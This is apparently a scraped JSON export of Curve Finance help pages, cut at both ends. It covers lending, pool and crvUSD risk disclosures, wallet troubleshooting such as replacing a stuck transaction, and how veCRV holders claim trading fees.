borrowing activities. Permissionless Markets Risks Curve Lending markets are permissionless, allowing anyone to create and customize markets with unique token pairs, a price oracle, and parameters that influence the LLAMMA liquidation algorithm and interest rate model. Given the protocol's permissionless nature, users should verify that the market has been instantiated with sensible parameters. Curve provides a LLAMMA-simulator that can be referenced for finding optimal parameters. There are several factors users should consider regarding attributes of the permissionless markets: 1) Unvetted Tokens Curve Lending pairs consist of crvUSD and one other token, which may not undergo rigorous vetting due to the permissionless lending factory and lack of strict onboarding criteria. As a result, some tokens in Curve pools could be unvetted, introducing potential risks such as exchange rate volatility, smart contract vulnerabilities, and liquidity risks. Users should exercise caution and conduct their due diligence before interacting with any token on the platform. 2) Oracle Designation Curve Lending markets by default use a Curve pool as the oracle, as long as the pool pair contains both tokens in the market and the pool is a Curve tricrypto-ng, twocrypto-ng or stableswap-ng pool, which has manipulation-resistant oracles. However, this creates a dependency on the selected pool oracle, which may become unreliable due to market circumstances (e.g., liquidity migration) or technical bugs. Alternatively, market deployers may designate a custom oracle, which can introduce additional trust assumptions or technical risks, and these custom oracles may need to be thoroughly vetted due to permissionless market deployment. Users should fully understand the oracle mechanism before interacting with a Curve Lending market. 3) Parameter Configuration There are several parameters configurable by market deployers, including \"A\" (number of bands within the LLAMMA algorithm), fee on LLAMMA swaps, loan discount (Loan-To-Value), liquidation discount (Liquidation Threshold), and min/max borrow rate. Misconfigured AMM parameters may result in greater losses than necessary during liquidation and generally negatively impact user experience involving liquidation. Misconfigured borrow rates may prevent the market from adequately reflecting rates in the broader market, potentially leading to insufficient withdrawal liquidity for lenders. Users should be aware of market parameter configurations and ensure they are suitable for the underlying assets and anticipated market conditions. 4) Governance The Curve Lending admin is the Curve DAO, a decentralized organization made up of veCRV tokenholders. Votes are required to make any change to the Curve Lending system, including individual markets. Votes undergo a 1-week vote period, requiring a 51% approval and a sufficient voter quorum to execute any on-chain actions. The DAO controls critical system functions in Curve Lending, including setting system contract implementations and configuring parameters such as min/max borrow rates, borrow discounts and AMM fees. Borrowing Risks Borrowers can choose from various lending markets to borrow crvUSD against another asset or provide crvUSD as collateral. Markets are designated as one-way or two-way. In one-way markets, collateral cannot be lent out to other users. These assets serve solely as collateral to secure the loan and maintain the borrowing capacity within the protocol. Two-way markets allow collateral to be lent out, creating an opportunity for borrowers to earn interest. Soft and Hard Liquidation Curve Lending uses a \"soft\" liquidation process powered by the LLAMMA algorithm. LLAMMA is a market-making contract that manages the liquidation and de-liquidation of collateral via arbitrageurs. This mechanism facilitates arbitrage between the collateral and borrowed asset in line with changes in market price, allowing a smoother liquidation process that strives to minimize user losses. Additional information can be found in the LLAMMA Overview docs. Please consider the following risks when using the Curve Stablecoin infrastructure: If your collateral enters soft-liquidation mode, you can't withdraw it or add more collateral to your position. If the price of your collateral drops sharply over a short time interval, it can result in higher losses that may reduce your loan's health. If you are in soft-liquidation mode and the price of the collateral appreciates sharply, this can also result in de-liquidation losses. If your loan's health is low, collateral price appreciation can further reduce the loan's health, potentially triggering a hard liquidation. If the health of your loan drops to zero or below, your position will get hard-liquidated with no option of de-liquidation. Borrowers should be aware that, while in soft liquidation, they essentially pay a fee to arbitrageurs in the form of favorable pricing. This will gradually erode the health of the position, especially during times of high volatility and, importantly, even when the market price of their collateral is increasing. This activity can decrease the position's health and cause it to undergo \"hard\" liquidation, whereby the collateral is sold off and the Borrower's position is closed. Borrowers are advised to monitor market conditions and actively manage their collateral to mitigate the liquidation risk. Borrowers should also be aware that if the loan's health falls below a certain threshold, hard liquidation could occur, leading to collateral loss. Interest Rates The borrowing rate is algorithmically determined based on the utilization rate of the lending markets. It is calculated using a function that accounts for the spectrum of borrowing activity, ranging from conditions where no assets are borrowed (where the rate is set to a minimum) to conditions where all available assets are borrowed (where the rate is set to a maximum). The rates within the described monetary policy are subject to changes only by Curve DAO. More information on the interest rate model can be found in the Semi-log Monetary Policy docs. Lending Risks When participating in lending activities on Curve Lending, Users may deposit crvUSD (or other assets designated for borrowing) into non-custodial Vaults that accrue interest from borrowers. There may also be the opportunity for additional CRV incentives by staking Vault tokens in a Gauge contract, pending DAO approval. Risk of Illiquidity While these Vaults enable Users to supply liquidity and potentially earn returns, Users maintain the right to withdraw their assets at any time, so long as liquidity is available. There may be temporary or permanent states of illiquidity that prevent Lenders from fully or partially withdrawing their funds. This may result from diverse circumstances, including excessive borrow demand, a poorly configured interest rate model, a failure associated with the collateral asset, or a drastic reduction in incentives to a market. Similarly, there may be high volatility in the behavior of either lenders, borrowers, or both, which causes sharp swings in interest rates. Risk of Bad Debt In extreme scenarios, Lenders may experience a shortfall through the accumulation of bad debt. This may occur if collateral prices fall sharply, especially in combination with network congestion that inhibits timely liquidation of positions. In such cases, Borrowers may need a financial motive to repay their debt, and Lenders may race to withdraw any available liquidity, saddling the Lenders remaining in the Vault with the shortfall. Curve Lending is designed to minimize the risk of bad debt through over-collateralization and the LLAMMA liquidation algorithm. While over-collateralization and the LLAMMA algorithm act as risk mitigation tools, they do not fully insulate Lenders from the inherent risks associated with Curve Lending and assets in its markets, including smart contract vulnerabilities, market volatility, failures in economic models, and regulatory challenges that threaten product viability. Lenders are advised to understand their exposure to risks associated with the collateral asset in Vaults they choose to interact with and appreciate the possibility of experiencing partial or total loss. crvUSD Risks Users should be mindful of risks associated with exposure to the crvUSD stablecoin: Investing in crvUSD carries inherent risks that could lead to partial or complete loss of your investment due to its experimental nature. You are responsible for understanding the risks of buying, selling, and using crvUSD and its infrastructure. The value of crvUSD can fluctuate due to stablecoin market volatility or rapid changes in the liquidity of the stablecoin. crvUSD is exclusively issued by smart contracts, without an intermediary. However, the parameters that ensure the proper operation of the crvUSD infrastructure are subject to updates approved by Curve DAO. Users must stay informed about any parameter changes in the stablecoin infrastructure. crvUSD is not recognized as legal tender by any authority and is not guaranteed to be accepted for payments, subject to changing regulatory landscapes which may affect its legality and utility. Information provided by crvUSD front-end is solely for educational purposes and does not constitute any form of professional advice, leaving users solely responsible for ensuring actions meet their financial goals. Despite efforts to maintain price stability, crvUSD faces the risk of depegging due to market volatility, regulatory changes, or technological issues, potentially affecting its value. Users of crvUSD are exposed to various technological risks, including irreversible transactions, anonymity and security concerns, software dependency, cybersecurity threats, and operational and settlement risks, which can lead to potential asset loss. The continued development and functionality of the crvUSD protocol rely on developer contributions, with no guarantee of sustained involvement, posing a risk to its maintenance and scalability. General Financial Risks Volatility Users should be aware that the prices of cryptocurrencies and tokens are highly volatile and subject to dramatic fluctuations due to their speculative nature and variable acceptance as a payment method. The market value of blockchain-based assets can significantly decline, potentially resulting in losses. Transactions within blockchain systems, including Ethereum Mainnet and others, may experience variable costs and speeds, affecting asset access and usability. Users are encouraged to develop their strategies for managing volatility. Financial Loss Users should know that cryptocurrencies and tokens are highly experimental and carry significant risks. Engaging in lending and borrowing activities involves irreversible, final, and non-refundable transactions. Users must participate in these activities at their own risk, understanding that the potential for financial loss is substantial. Users are advised to carefully evaluate their lending and borrowing strategies, considering their personal circumstances and financial resources to determine the most suitable situation. Use of Financial Terms Financial terms used in the context of Curve Lending, such as \"debt,\" \"lend,\" \"borrow,\" and similar, are meant for analogy purposes only. They draw comparisons between the operations of decentralized finance smart contracts and traditional finance activities, emphasizing the automated and deterministic nature of DeFi systems. These terms should not be interpreted in their traditional financial context, as DeFi transactions involve distinct mechanisms and risks. Users are encouraged to understand the specific meanings within the DeFi framework. For up-to-date risk disclaimer, click here . Back to top", "labels": ["Documentation"]}, {"title": "Curve Pool Risk Disclosures for Liquidity Providers", "html_url": "https://resources.curve.fi/risks-security/risks/pool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools Liquidity Pools Table of contents Technology Risk Smart Contract Risk: Immutability and Irreversibility of Transactions: Counterparty Risk Access Control: Asset Risk Permanent Loss of a Peg: Impermanent Loss: Price Volatility: Unvetted Tokens: Pools with Lending Assets: Regulatory Risk Regulatory Uncertainty: crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Technology Risk Smart Contract Risk: Immutability and Irreversibility of Transactions: Counterparty Risk Access Control: Asset Risk Permanent Loss of a Peg: Impermanent Loss: Price Volatility: Unvetted Tokens: Pools with Lending Assets: Regulatory Risk Regulatory Uncertainty: Home Risks, Security & Audits Risks Curve Pool Risk Disclosures for Liquidity Providers Providing liquidity on Curve doesn't come without risks. Before making a deposit, it is best to research and understand the risks involved. Curve Whitepapers Smart Contract Audits Technology Risk Smart Contract Risk: Curve relies on smart contracts, which are self-executing pieces of code. While these contracts are designed to be secure, there is a risk that they may contain vulnerabilities or bugs. Malicious actors could exploit these vulnerabilities, resulting in the loss of funds or other adverse consequences. It is essential for users to conduct due diligence and review the smart contracts and security audit reports to assess the inherent risks. Curve smart contracts have undergone multiple audits by reputable firms including Trail of Bits, MixBytes, QuantStamp, and ChainSecurity to enhance protocol security. While smart contract audits play an important role in good security practices to mitigate user risks, they don't eliminate all risks. Users should always exercise caution regardless of Curve's commitment to protocol security. Immutability and Irreversibility of Transactions: When you engage in transactions on Ethereum or EVM-compatible blockchains, it is important to understand that these transactions are immutable and irreversible. Once a transaction is confirmed and recorded on the blockchain, it cannot be modified, reversed, or deleted. This means that if a user sends funds to an incorrect address or engage in a fraudulent transaction, it may not be possible to recover the funds. It is crucial to exercise caution, verify transaction details, and use secure wallets to minimize the risk of irreversible transactions. Counterparty Risk Access Control: Curve pool smart contracts are intentionally designed to be immutable and noncustodial, meaning they cannot be upgraded and liquidity providers always retain full control of their funds. While this characteristic may limit protective actions in case of emergencies, it significantly strengthens user assurances about custody of their funds. The Curve protocol is governed by a Decentralized Autonomous Organization (DAO) comprised of veCRV tokenholders that requires a 1-week vote period with 51% approval and a sufficient voter quorum to execute any actions. It controls critical system functions, including the implementation of new system contracts and the adjustment of system parameters. The Curve Emergency Admin is a 5-of-9 multisig composed of Curve community members. It has restricted rights to undertake actions that do not directly impact users' funds, including canceling parameter changes authorized by the DAO and halting CRV emissions to a pool. Early pool implementations included a timelimited function to freeze swaps and deposits in case of emergency, but this precautionary function has since been deprecated in current pool implementations. Asset Risk Permanent Loss of a Peg: Stablecoins and other derivative assets are designed to maintain a peg to a reference asset. If one of the pool assets drops below its peg, it effectively means that liquidity providers in the pool hold almost all their liquidity in that token. The depegged token may never recover as a result of a technical failure, insolvency, or other adverse situations. If the token fails to regain its peg, liquidity providers will encounter losses proportional to the severity of the depeg. The potential permanent loss highlights the importance of thorough consideration and caution when participating in activities involving stablecoins and/or derivative assets. Impermanent Loss: Providing liquidity to Curve pools may expose users to the risk of impermanent loss. Fluctuations in asset prices after supplying to a pool can result in losses when users remove liquidity. Before engaging in liquidity provision activities, users are advised to carefully evaluate the potential for impermanent loss and consider their own risk tolerance. StableSwap pools are designed to mitigate impermanent loss by pairing assets that are expected to exhibit mean-reverting behavior. This assumption may not hold true in every case, requiring diligent assessment when interacting with these pools. CryptoSwap V2 pools are designed with an internal oracle to concentrate liquidity around the current market price. The algorithm attempts to offset the effects of impermanent loss by calculating fees generated by the pool and ensuring the pool is in profit before re-pegging. Impermanent loss may still occur in CryptoSwap V2 pools, particularly when the earned fees are insufficient to counterbalance the impact of re-pegging. This underscores the need for users to be attentive about the dynamics of these pools when making decisions about liquidity provision. Price Volatility: Cryptocurrencies and ERC20 tokens have historically exhibited significant price volatility. They can experience rapid and substantial fluctuations in value, which may occur within short periods of time. The market value of any token may rise or fall, and there is no guarantee of any specific price stability. The overall market dynamics, including price volatility, liquidity fluctuations, and broader economic factors, can impact the value of user funds when providing liquidity. Sudden market movements or unexpected events can result in losses that may be difficult to anticipate or mitigate. Unvetted Tokens: Due to the permissionless pool factory and the absence of strict onboarding criteria, not every token included in Curve pools undergoes a detailed independent risk assessment. Curve pools may contain unvetted tokens that have uncertain value or potential fraudulent characteristics. The presence of unvetted tokens introduces potential risks, including exchange rate volatility, smart contract vulnerabilities, liquidity risks, and other unforeseen circumstances that could result in the loss of funds or other adverse consequences. When participating as a liquidity provider in any pool, users should carefully assess the tokens' functionality, security audits, team credibility, community feedback, and other relevant factors to make informed decisions and mitigate potential risks associated with the pool assets. Pools with Lending Assets: Due to composability within DeFi, it is possible for assets in Curve pools to be receipt tokens for deposits in third party lending platforms. Composability of this sort can amplify yields for liquidity providers, but it also exposes users to additional risks associated with the underlying lending protocol. Users interacting with pools that involve lending assets should be mindful of this additional risk and conduct due diligence on the associated lending protocol. Regulatory Risk Regulatory Uncertainty: The regulatory landscape surrounding blockchain technology, DeFi protocols, tokens, cryptocurrencies, and related activities is constantly evolving, resulting in regulatory uncertainty. The lack of clear and consistent regulations may impact legal obligations, compliance requirements, and potential risks associated with the protocol activities. Disclaimer: The information provided within this context does not constitute financial, legal, or tax advice personalized to your specific circumstances. The content presented is for informational purposes only and should not be relied upon as a substitute for professional advice tailored to your individual needs. It is recommended that you seek the advice of qualified professionals regarding financial, legal, and tax matters before engaging in any activities on Curve. Back to top", "labels": ["Documentation"]}, {"title": "Disabling crypto wallets in brave", "html_url": "https://resources.curve.fi/troubleshooting/disabling-crypto-wallets-in-brave/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Disabling crypto wallets in brave Table of contents Pointing Brave to Metamask Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Pointing Brave to Metamask Home Support & Troubleshooting Disabling crypto wallets in brave The native \"Crypto Wallets\" app in your Brave browser can often interfere with your web3 provider. When using Metamask, it is important to make sure Brave is pointing to it and not its native implementation. Pointing Brave to Metamask Open your web browser, and paste the following in your URL bar: brave://settings/extensions Click the dropdown and switch to Metamask. You can also disable Crypto Wallets on startup. Back to top", "labels": ["Documentation"]}, {"title": "Dropping and replacing a stuck transaction", "html_url": "https://resources.curve.fi/troubleshooting/dropping-and-replacing-a-stuck-transaction/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Dropping and replacing a stuck transaction Table of contents Enable custom nonce in Metamask Finding your pending transaction nonce Replacing your transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Enable custom nonce in Metamask Finding your pending transaction nonce Replacing your transaction Home Support & Troubleshooting Dropping and replacing a stuck transaction A short tutorial on dropping and replacing a stuck Ethereum transaction. You've submitted a transaction in Metamask and it just won't come through. Those gas estimates betrayed you and you're stuck looking at your pending transaction on Etherscan. It's happened to everyone and it's not pleasant but there's a fairly simple solution which most people will come to learn about. This guide isn't Curve Finance specific but as gas prices are reaching new highs, stuck transactions are getting more common and knowing how to drop and replace is thus become more and more useful. First and foremost, it's important to understand you can only do this if your transaction is pending. If it isn't your transaction cannot be cancelled anymore. If you want to understand how this works, you should know that Ethereum transactions must be submitted with an incremental nonce. Each transaction has a nonce (a number) assigned to it and a number cannot be skipped. The way to replace and drop is to submit a new transaction with a higher gas price and the same nonce. This will tell the miners this more expensive transaction is the one that should be mined and your stuck transaction will be discarded. Enable custom nonce in Metamask Visit Metamask and select \"Settings\", then \"Advanced\" and scroll down to find and enable \"Customize transaction nonce\". Finding your pending transaction nonce Visit your address on Etherscan and click on your pending transaction. If you scroll down you will find \"Nonce\": Write down this nonce and return to Metamask. Replacing your transaction Now that you have your nonce, go back to Ethereum and send yourself 0 Ethereum, on the confirmation screen, type the nonce you got from Etherscan. Make sure your gas price is suitable this time by checking https://ethgasstation.info/ for example. Confirm your transaction and that's it. Your 0 Ethereum transaction should be mined which will drop and replace your stuck transaction which you can confirm on Etherscan. Back to top", "labels": ["Documentation"]}, {"title": "Recovering cross-asset swaps", "html_url": "https://resources.curve.fi/troubleshooting/recovering-a-cross-asset-swap/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Recovering cross-asset swaps Table of contents Finding the token id Initiate recovery Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Finding the token id Initiate recovery Home Support & Troubleshooting Recovering cross-asset swaps This is a very old guide This feature was deprecated more than 12 months ago and this information is provided solely in the rare event someone still needs to recover a swap cross asset from from the synthetix era. If Curve has lost transaction of your cross asset swap, do not panic, there is a simple way to recover it. Finding the token id Visit your address on Etherscan and click on ERC721: And then click on your latest cross-asset swap, you should find a long string of numbers like below: Initiate recovery Visit: https://classic.curve.fi/recover Enter your token id found on Etherscan, enter your the token you would like to receive (if your token has sBTC then it must be a Bitcoin token that shares a pool with sBTC, if your token is sUSD, it should be a token that shares a pool with sUSD) and then click recover. Confirm your transaction and you're done. Back to top", "labels": ["Documentation"]}, {"title": "Support", "html_url": "https://resources.curve.fi/troubleshooting/support/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Home Support & Troubleshooting Support Curve is to be used entirely at your own risk. Admins have no special keys and cannot recover funds if sent improperly. However, a wide variety of resources are still available to help you avoid issues. If you have questions, please make sure to check with the following sources: This section contains common troubleshooting questions, as does the entirety of this documentation. The technical documentation is a comprehensive resource for coders. The Telegram channel is an active place to seek support. The Discord also has an active support channel. Most users use Curve without issue, however we understand it can be complicated so make sure to ask first and save yourself any possible trouble later! Back to top", "labels": ["Documentation"]}, {"title": "Claiming Trading Fees", "html_url": "https://resources.curve.fi/vecrv/claiming-trading-fees/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Claiming Trading Fees Table of contents New UI Classic UI Swapping 3CRV for a Stable Coin How does it all work? Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents New UI Classic UI Swapping 3CRV for a Stable Coin How does it all work? Home Locked CRV (veCRV) Claiming Trading Fees Every time a trade occurs on Curve Finance, 50% of the trading fee is collected by users who have vote-locked their CRV . Furthermore, since the introduction of Curve's stablecoin, crvUSD, all accumulated interest rate fees are awarded to veCRV holders. As of 20 th June, 2024, fees are now distributed in crvUSD instead of 3CRV pool tokens. Fees are collected weekly from the pools, converted to crvUSD, and then distributed. See the \"How does it all work?\" section for how this process works. Users who lock CRV can claim trading fees as often as they wish; however, fees will only be converted into crvUSD once a week. Info There is a delay before the first claim of crvUSD can be made after locking. A wait of 8 days from the Thursday following the lock is required before a claim can be done. New UI To claim trading fees, visit https://curve.fi/#/ethereum/dashboard and click the Claim LP Rewards button. Info 3CRV and crvUSD are both shown on this UI as some users may not have claimed their 3CRV fees yet. Classic UI Warning The classic UI has not been updated to claim crvUSD fees. when using the classic UI please visit: https://classic.curve.fi/ and look for the green Claim button in the box labeled veCRV 3pool LP claim at the bottom of the page. Swapping 3CRV for a Stable Coin Note No more 3CRV will be distributed as fees going forward . The last week of 3CRV fees was 13 th June, 2024. However, there may be users who haven't claimed their 3CRV yet, so this information is left for them. 3CRV is the liquidity provider (LP) token of the 3pool, which consists of USDC, USDT, and DAI. If the pool is perfectly balanced with 33% USDC, 33% USDT, and 33% DAI, then one 3CRV will represent 0.33 USDC, 0.33 USDT, and 0.33 DAI. If a user wishes to withdraw 3CRV back into a stablecoin, they can do so at: https://curve.fi/#/ethereum/pools/3pool/withdraw . The user needs to select the stablecoin they would like to receive (withdrawing in a balanced or custom proportion is also an option) and click Withdraw . After the transaction is confirmed, they will receive the withdrawn stablecoin. Note When withdrawing 3CRV into a stablecoin, it might be beneficial to take a look at the balance ratios of the pool . Withdrawing in a token with a higher balance than the other two could result in a small premium for that token. On the other hand, withdrawing a token with a lower balance relative to the other two coins may lead to receiving a slightly lesser amount. Further information can be found here . How does it all work? When the burn process is initiated, a contract collects fees, which come in dozens of different forms such as stablecoins, volatile assets, or LP tokens. These tokens are then burned through various contracts and pools, and converted into crvUSD through swapping in Cowswap. Burning is a costly process due to the complexity and number of transactions involved. However, anyone can trigger this process at any time, provided they are willing to cover the associated costs. Fees can only be claimed for the week that has already concluded, as the burner cannot determine each user's entitlement before the end of that period. Fees will be made available weekly, within 24 hours after Thursday midnight UTC , as long as someone typically the Curve team has initiated the burn process beforehand. Info See the Fee Collection & Distribution page for more information about this process. Back to top", "labels": ["Documentation"]}, {"title": "Fee Collection & Distribution", "html_url": "https://resources.curve.fi/vecrv/fee-collection-distribution/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Fee Collection & Distribution Table of contents Admin Fees Stableswap Fees Cryptoswap Fees crvUSD Minting Market Fees Fee Collection & Distribution Architecture The New Cowswap Architecture Collection - Monday Exchanging - Tuesday Forwarding - Wednesday Distribution - Thursday Old Architecture Collection Exchanging (Burning) Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to 